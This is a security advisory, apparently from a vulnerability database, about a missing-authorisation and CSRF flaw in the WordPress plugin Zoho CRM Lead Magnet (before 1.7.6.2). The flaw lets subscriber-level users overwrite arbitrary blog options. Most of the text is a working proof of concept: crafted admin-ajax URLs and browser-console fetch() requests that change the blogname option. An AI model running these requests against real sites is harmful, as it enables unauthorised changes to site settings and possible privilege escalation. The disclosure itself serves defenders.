Zoho CRM Lead Magnet < 1.7.6.2 - Subscriber+ Arbitrary Options Update

The plugin does not have authorisation and CSRF in some AJAX actions, and does not ensure that the option to be updated belong to the plugin. As a result, any authenticated users, such as subscriber could update arbitrary blog options (such as default_role and users_can_register).

PoC

v < 1.7.6.1 https://example.com/wp-admin/admin-ajax.php?action=zcf_save_contact_form_title&amp;nonce;=&amp;tp;_title_key=blogname&amp;tp;_title_val=Changed by Subscriber https://example.com/wp-admin/admin-ajax.php?action= mainActionscrmForms&operation;=NoFieldOperation&doaction;=SaveFormSettings&shortcode;=blogname&thirdparty;_title=Owned v <= 1.7.6.1 Run one of the below command in the developer console of the web browser while being on the blog as a subscriber user and one of the backend page (such as the profile) fetch(“/wp-admin/admin-ajax.php?action=zcf_save_contact_form_title&nonce;=”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, “X-CSRF-TOKEN”: jQuery(“[name=‘zoho_crm_forms_csrf_token’]”).attr(“content”) }, “method”: “POST”, “body”: ‘tp_title_key=blogname&tp;_title_val=Changed%20by%20Subscriber’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); fetch(“/wp-admin/admin-ajax.php?action=mainActionscrmForms&operation;=NoFieldOperation&doaction;=SaveFormSettings”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, “X-CSRF-TOKEN”: jQuery(“[name=‘zoho_crm_forms_csrf_token’]”).attr(“content”) }, “method”: “POST”, “body”: ‘shortcode=blogname&thirdparty;_title=Owned’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));